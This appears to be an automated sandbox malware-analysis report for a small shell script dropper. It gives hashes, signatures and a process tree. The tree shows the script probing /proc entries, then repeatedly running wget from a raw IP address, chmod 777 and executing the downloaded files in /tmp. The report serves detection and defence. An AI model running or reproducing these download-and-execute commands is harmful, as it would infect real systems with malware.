Analysis
- max time kernel
2s - max time network
129s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20260513-en - resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system - submitted
09/06/2026, 15:02
Static task
static1
Behavioral task
behavioral1
Sample
p.sh
Resource
ubuntu1804-amd64-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
p.sh
Resource
debian9-armhf-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral3
Sample
p.sh
Resource
debian9-mipsbe-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral4
Sample
p.sh
Resource
debian9-mipsel-20260513-en
4 signatures
150 seconds
General
- Target p.sh
- Size 826B
- Sample260609-seysjsds8j
- SHA256 3e37053c36f83c855c98cd7303315fdc2cb57e69c7c1512df43a481ee0b63708
- MD5 3b68067fe3497691c871f42274adabc6
- SHA1 fb3fd42f7f1701e02d198cd94f50c2978e06d9f1
- SHA512 8ee6c8d0c92e213ef435b27172f72a91fecb77a2fae2931abbd5f96b2521da26ffe9e516a7c8bfcac1fa8369de7e22eaad16a034e197ddcf8e72f702867e41d4
- TLSH T1510188CEC401DA104295E89E22D726907820C3CF26860BA87FDC443DEBA9A48B01AE89
- MD5 SHA1 SHA512 TLSH
Score
7/10
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 5 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1685 chmod 1690 chmod 1695 chmod 1700 chmod 1705 chmod - Executes dropped EXE 5 IoCs
ioc pid Process /tmp/jzj 1686 p.sh /tmp/tTx 1691 p.sh /tmp/AYi 1696 p.sh /tmp/L0S 1701 p.sh /tmp/vft2 1706 p.sh -
description ioc Process File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls File opened for reading /proc/filesystems ls - Writes file to tmp directory 6 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/L0S wget File opened for modification /tmp/vft2 wget File opened for modification /tmp/p p.sh File opened for modification /tmp/jzj wget File opened for modification /tmp/tTx wget File opened for modification /tmp/AYi wget
Processes
-
/tmp/p.sh/tmp/p.sh1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:1510 -
/bin/lsls -l /proc/1/exe2⤵
- Reads runtime system information
PID:1511
-
-
/bin/lsls -l /proc/10/exe2⤵PID:1512
-
-
/bin/lsls -l /proc/1004/exe2⤵
- Reads runtime system information
PID:1513
-
-
/bin/lsls -l /proc/1008/exe2⤵
- Reads runtime system information
PID:1514
-
-
/bin/lsls -l /proc/1017/exe2⤵
- Reads runtime system information
PID:1515
-
-
/bin/lsls -l /proc/1027/exe2⤵PID:1516
-
-
/bin/lsls -l /proc/1036/exe2⤵
- Reads runtime system information
PID:1517
-
-
/bin/lsls -l /proc/1040/exe2⤵
- Reads runtime system information
PID:1518
-
-
/bin/lsls -l /proc/1044/exe2⤵PID:1519
-
-
/bin/lsls -l /proc/1048/exe2⤵PID:1520
-
-
/bin/lsls -l /proc/1052/exe2⤵PID:1521
-
-
/bin/lsls -l /proc/1056/exe2⤵
- Reads runtime system information
PID:1522
-
-
/bin/lsls -l /proc/1061/exe2⤵PID:1523
-
-
/bin/lsls -l /proc/1064/exe2⤵PID:1524
-
-
/bin/lsls -l /proc/1066/exe2⤵
- Reads runtime system information
PID:1525
-
-
/bin/lsls -l /proc/1069/exe2⤵PID:1526
-
-
/bin/lsls -l /proc/1071/exe2⤵PID:1527
-
-
/bin/lsls -l /proc/1073/exe2⤵PID:1528
-
-
/bin/lsls -l /proc/1082/exe2⤵PID:1529
-
-
/bin/lsls -l /proc/1083/exe2⤵PID:1530
-
-
/bin/lsls -l /proc/1085/exe2⤵PID:1531
-
-
/bin/lsls -l /proc/1089/exe2⤵PID:1532
-
-
/bin/lsls -l /proc/1094/exe2⤵PID:1533
-
-
/bin/lsls -l /proc/11/exe2⤵
- Reads runtime system information
PID:1534
-
-
/bin/lsls -l /proc/1101/exe2⤵
- Reads runtime system information
PID:1535
-
-
/bin/lsls -l /proc/1105/exe2⤵PID:1536
-
-
/bin/lsls -l /proc/1106/exe2⤵
- Reads runtime system information
PID:1537
-
-
/bin/lsls -l /proc/1108/exe2⤵
- Reads runtime system information
PID:1538
-
-
/bin/lsls -l /proc/1109/exe2⤵PID:1539
-
-
/bin/lsls -l /proc/1112/exe2⤵
- Reads runtime system information
PID:1540
-
-
/bin/lsls -l /proc/1114/exe2⤵
- Reads runtime system information
PID:1541
-
-
/bin/lsls -l /proc/1146/exe2⤵PID:1542
-
-
/bin/lsls -l /proc/115/exe2⤵
- Reads runtime system information
PID:1543
-
-
/bin/lsls -l /proc/1161/exe2⤵PID:1544
-
-
/bin/lsls -l /proc/1179/exe2⤵
- Reads runtime system information
PID:1548
-
-
/bin/lsls -l /proc/1180/exe2⤵
- Reads runtime system information
PID:1549
-
-
/bin/lsls -l /proc/1193/exe2⤵PID:1550
-
-
/bin/lsls -l /proc/12/exe2⤵PID:1551
-
-
/bin/lsls -l /proc/1209/exe2⤵PID:1552
-
-
/bin/lsls -l /proc/1211/exe2⤵PID:1553
-
-
/bin/lsls -l /proc/1268/exe2⤵PID:1554
-
-
/bin/lsls -l /proc/1274/exe2⤵
- Reads runtime system information
PID:1555
-
-
/bin/lsls -l /proc/13/exe2⤵
- Reads runtime system information
PID:1556
-
-
/bin/lsls -l /proc/1314/exe2⤵PID:1557
-
-
/bin/lsls -l /proc/1315/exe2⤵PID:1558
-
-
/bin/lsls -l /proc/1329/exe2⤵
- Reads runtime system information
PID:1559
-
-
/bin/lsls -l /proc/1343/exe2⤵PID:1560
-
-
/bin/lsls -l /proc/1349/exe2⤵PID:1561
-
-
/bin/lsls -l /proc/1366/exe2⤵
- Reads runtime system information
PID:1562
-
-
/bin/lsls -l /proc/137/exe2⤵PID:1563
-
-
/bin/lsls -l /proc/14/exe2⤵
- Reads runtime system information
PID:1564
-
-
/bin/lsls -l /proc/1401/exe2⤵PID:1565
-
-
/bin/lsls -l /proc/1476/exe2⤵
- Reads runtime system information
PID:1566
-
-
/bin/lsls -l /proc/15/exe2⤵PID:1567
-
-
/bin/lsls -l /proc/1500/exe2⤵
- Reads runtime system information
PID:1568
-
-
/bin/lsls -l /proc/1502/exe2⤵PID:1569
-
-
/bin/lsls -l /proc/1505/exe2⤵
- Reads runtime system information
PID:1570
-
-
/bin/lsls -l /proc/1507/exe2⤵
- Reads runtime system information
PID:1571
-
-
/bin/lsls -l /proc/1510/exe2⤵PID:1572
-
-
/bin/lsls -l /proc/16/exe2⤵
- Reads runtime system information
PID:1573
-
-
/bin/lsls -l /proc/167/exe2⤵PID:1574
-
-
/bin/lsls -l /proc/168/exe2⤵
- Reads runtime system information
PID:1575
-
-
/bin/lsls -l /proc/169/exe2⤵
- Reads runtime system information
PID:1576
-
-
/bin/lsls -l /proc/17/exe2⤵PID:1577
-
-
/bin/lsls -l /proc/170/exe2⤵PID:1578
-
-
/bin/lsls -l /proc/171/exe2⤵
- Reads runtime system information
PID:1579
-
-
/bin/lsls -l /proc/172/exe2⤵PID:1580
-
-
/bin/lsls -l /proc/173/exe2⤵
- Reads runtime system information
PID:1581
-
-
/bin/lsls -l /proc/174/exe2⤵PID:1582
-
-
/bin/lsls -l /proc/175/exe2⤵
- Reads runtime system information
PID:1583
-
-
/bin/lsls -l /proc/176/exe2⤵PID:1584
-
-
/bin/lsls -l /proc/177/exe2⤵PID:1585
-
-
/bin/lsls -l /proc/178/exe2⤵PID:1586
-
-
/bin/lsls -l /proc/179/exe2⤵
- Reads runtime system information
PID:1587
-
-
/bin/lsls -l /proc/18/exe2⤵PID:1588
-
-
/bin/lsls -l /proc/180/exe2⤵PID:1589
-
-
/bin/lsls -l /proc/181/exe2⤵PID:1590
-
-
/bin/lsls -l /proc/182/exe2⤵
- Reads runtime system information
PID:1591
-
-
/bin/lsls -l /proc/183/exe2⤵PID:1592
-
-
/bin/lsls -l /proc/184/exe2⤵PID:1593
-
-
/bin/lsls -l /proc/186/exe2⤵
- Reads runtime system information
PID:1594
-
-
/bin/lsls -l /proc/19/exe2⤵
- Reads runtime system information
PID:1595
-
-
/bin/lsls -l /proc/2/exe2⤵PID:1596
-
-
/bin/lsls -l /proc/20/exe2⤵PID:1597
-
-
/bin/lsls -l /proc/21/exe2⤵PID:1598
-
-
/bin/lsls -l /proc/211/exe2⤵PID:1599
-
-
/bin/lsls -l /proc/212/exe2⤵PID:1600
-
-
/bin/lsls -l /proc/22/exe2⤵PID:1601
-
-
/bin/lsls -l /proc/23/exe2⤵PID:1602
-
-
/bin/lsls -l /proc/24/exe2⤵PID:1603
-
-
/bin/lsls -l /proc/25/exe2⤵PID:1604
-
-
/bin/lsls -l /proc/253/exe2⤵
- Reads runtime system information
PID:1605
-
-
/bin/lsls -l /proc/26/exe2⤵PID:1606
-
-
/bin/lsls -l /proc/27/exe2⤵PID:1607
-
-
/bin/lsls -l /proc/278/exe2⤵PID:1608
-
-
/bin/lsls -l /proc/28/exe2⤵
- Reads runtime system information
PID:1609
-
-
/bin/lsls -l /proc/29/exe2⤵PID:1610
-
-
/bin/lsls -l /proc/3/exe2⤵PID:1611
-
-
/bin/lsls -l /proc/30/exe2⤵PID:1612
-
-
/bin/lsls -l /proc/31/exe2⤵
- Reads runtime system information
PID:1613
-
-
/bin/lsls -l /proc/32/exe2⤵PID:1614
-
-
/bin/lsls -l /proc/325/exe2⤵
- Reads runtime system information
PID:1615
-
-
/bin/lsls -l /proc/327/exe2⤵PID:1616
-
-
/bin/lsls -l /proc/34/exe2⤵
- Reads runtime system information
PID:1617
-
-
/bin/lsls -l /proc/35/exe2⤵
- Reads runtime system information
PID:1618
-
-
/bin/lsls -l /proc/36/exe2⤵
- Reads runtime system information
PID:1619
-
-
/bin/lsls -l /proc/4/exe2⤵PID:1620
-
-
/bin/lsls -l /proc/423/exe2⤵PID:1621
-
-
/bin/lsls -l /proc/438/exe2⤵PID:1622
-
-
/bin/lsls -l /proc/450/exe2⤵PID:1623
-
-
/bin/lsls -l /proc/457/exe2⤵PID:1624
-
-
/bin/lsls -l /proc/462/exe2⤵PID:1625
-
-
/bin/lsls -l /proc/467/exe2⤵PID:1626
-
-
/bin/lsls -l /proc/483/exe2⤵
- Reads runtime system information
PID:1627
-
-
/bin/lsls -l /proc/487/exe2⤵PID:1628
-
-
/bin/lsls -l /proc/491/exe2⤵
- Reads runtime system information
PID:1629
-
-
/bin/lsls -l /proc/495/exe2⤵PID:1630
-
-
/bin/lsls -l /proc/5/exe2⤵
- Reads runtime system information
PID:1631
-
-
/bin/lsls -l /proc/501/exe2⤵
- Reads runtime system information
PID:1632
-
-
/bin/lsls -l /proc/507/exe2⤵PID:1633
-
-
/bin/lsls -l /proc/513/exe2⤵PID:1634
-
-
/bin/lsls -l /proc/517/exe2⤵PID:1635
-
-
/bin/lsls -l /proc/521/exe2⤵
- Reads runtime system information
PID:1636
-
-
/bin/lsls -l /proc/524/exe2⤵PID:1637
-
-
/bin/lsls -l /proc/540/exe2⤵PID:1638
-
-
/bin/lsls -l /proc/541/exe2⤵
- Reads runtime system information
PID:1639
-
-
/bin/lsls -l /proc/555/exe2⤵PID:1640
-
-
/bin/lsls -l /proc/561/exe2⤵PID:1641
-
-
/bin/lsls -l /proc/571/exe2⤵
- Reads runtime system information
PID:1642
-
-
/bin/lsls -l /proc/591/exe2⤵
- Reads runtime system information
PID:1643
-
-
/bin/lsls -l /proc/6/exe2⤵PID:1644
-
-
/bin/lsls -l /proc/616/exe2⤵PID:1645
-
-
/bin/lsls -l /proc/617/exe2⤵
- Reads runtime system information
PID:1647
-
-
/bin/lsls -l /proc/670/exe2⤵PID:1648
-
-
/bin/lsls -l /proc/672/exe2⤵
- Reads runtime system information
PID:1649
-
-
/bin/lsls -l /proc/674/exe2⤵PID:1650
-
-
/bin/lsls -l /proc/676/exe2⤵PID:1651
-
-
/bin/lsls -l /proc/690/exe2⤵
- Reads runtime system information
PID:1652
-
-
/bin/lsls -l /proc/694/exe2⤵PID:1653
-
-
/bin/lsls -l /proc/7/exe2⤵
- Reads runtime system information
PID:1654
-
-
/bin/lsls -l /proc/705/exe2⤵
- Reads runtime system information
PID:1655
-
-
/bin/lsls -l /proc/750/exe2⤵
- Reads runtime system information
PID:1656
-
-
/bin/lsls -l /proc/757/exe2⤵PID:1657
-
-
/bin/lsls -l /proc/78/exe2⤵PID:1658
-
-
/bin/lsls -l /proc/79/exe2⤵
- Reads runtime system information
PID:1659
-
-
/bin/lsls -l /proc/8/exe2⤵
- Reads runtime system information
PID:1660
-
-
/bin/lsls -l /proc/80/exe2⤵PID:1661
-
-
/bin/lsls -l /proc/81/exe2⤵PID:1662
-
-
/bin/lsls -l /proc/82/exe2⤵
- Reads runtime system information
PID:1663
-
-
/bin/lsls -l /proc/83/exe2⤵PID:1664
-
-
/bin/lsls -l /proc/84/exe2⤵PID:1665
-
-
/bin/lsls -l /proc/86/exe2⤵PID:1666
-
-
/bin/lsls -l /proc/89/exe2⤵PID:1667
-
-
/bin/lsls -l /proc/9/exe2⤵PID:1668
-
-
/bin/lsls -l /proc/917/exe2⤵
- Reads runtime system information
PID:1669
-
-
/bin/lsls -l /proc/919/exe2⤵PID:1670
-
-
/bin/lsls -l /proc/924/exe2⤵PID:1671
-
-
/bin/lsls -l /proc/927/exe2⤵PID:1672
-
-
/bin/lsls -l /proc/941/exe2⤵PID:1673
-
-
/bin/lsls -l /proc/946/exe2⤵PID:1674
-
-
/bin/lsls -l /proc/960/exe2⤵
- Reads runtime system information
PID:1675
-
-
/bin/lsls -l /proc/966/exe2⤵PID:1676
-
-
/bin/lsls -l /proc/98/exe2⤵
- Reads runtime system information
PID:1677
-
-
/bin/lsls -l /proc/980/exe2⤵PID:1678
-
-
/bin/lsls -l /proc/984/exe2⤵PID:1679
-
-
/bin/lsls -l /proc/986/exe2⤵PID:1680
-
-
/bin/lsls -l /proc/989/exe2⤵PID:1681
-
-
/bin/lsls -l /proc/994/exe2⤵
- Reads runtime system information
PID:1682
-
-
/bin/rmrm -rf jzj2⤵PID:1683
-
-
/usr/bin/wgetwget http://188.132.232.81/jzj2⤵
- Writes file to tmp directory
PID:1684
-
-
/bin/chmodchmod 777 jzj2⤵
- File and Directory Permissions Modification
PID:1685
-
-
/tmp/jzj./jzj pdvr2⤵PID:1686
-
-
/bin/sh/bin/sh ./jzj pdvr2⤵PID:1686
-
-
/bin/rmrm -rf tTx2⤵PID:1688
-
-
/usr/bin/wgetwget http://188.132.232.81/tTx2⤵
- Writes file to tmp directory
PID:1689
-
-
/bin/chmodchmod 777 tTx2⤵
- File and Directory Permissions Modification
PID:1690
-
-
/tmp/tTx./tTx pdvr2⤵PID:1691
-
-
/bin/sh/bin/sh ./tTx pdvr2⤵PID:1691
-
-
/bin/rmrm -rf AYi2⤵PID:1693
-
-
/usr/bin/wgetwget http://188.132.232.81/AYi2⤵
- Writes file to tmp directory
PID:1694
-
-
/bin/chmodchmod 777 AYi2⤵
- File and Directory Permissions Modification
PID:1695
-
-
/tmp/AYi./AYi pdvr2⤵PID:1696
-
-
/bin/sh/bin/sh ./AYi pdvr2⤵PID:1696
-
-
/bin/rmrm -rf L0S2⤵PID:1698
-
-
/usr/bin/wgetwget http://188.132.232.81/L0S2⤵
- Writes file to tmp directory
PID:1699
-
-
/bin/chmodchmod 777 L0S2⤵
- File and Directory Permissions Modification
PID:1700
-
-
/tmp/L0S./L0S pdvr2⤵PID:1701
-
-
/bin/sh/bin/sh ./L0S pdvr2⤵PID:1701
-
-
/bin/rmrm -rf vft22⤵PID:1703
-
-
/usr/bin/wgetwget http://188.132.232.81/vft22⤵
- Writes file to tmp directory
PID:1704
-
-
/bin/chmodchmod 777 vft22⤵
- File and Directory Permissions Modification
PID:1705
-
-
/tmp/vft2./vft2 pdvr2⤵PID:1706
-
-
/bin/sh/bin/sh ./vft2 pdvr2⤵PID:1706
-
-
/bin/rmrm -rf p2⤵PID:1708
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path /tmp/jzj
- Size 3B
- SHA256 6bdf66b5bf2a44e658bea2ee86695ab150a06e600bf67cd5cce245ad54962c61
- MD5 bc949ea893a9384070c31f083ccefd26
- SHA1 cbb8391cb65c20e2c05a2f29211e55c49939c3db
- SHA512 e4288e71070485637ec5825f510a7daa7e75ef6c71a1b755f51e1b0f2e58e5066837f58408ea74d75db42c49372c6027d433a869904fc5efaf4876dfcfde1287
- MD5 SHA1 SHA512
- Path /tmp/p
- Size 1B
- SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
- MD5 68b329da9893e34099c7d8ad5cb9c940
- SHA1 adc83b19e793491b1c6ea0fd8b46cd9f32e592fc
- SHA512 be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09
- MD5 SHA1 SHA512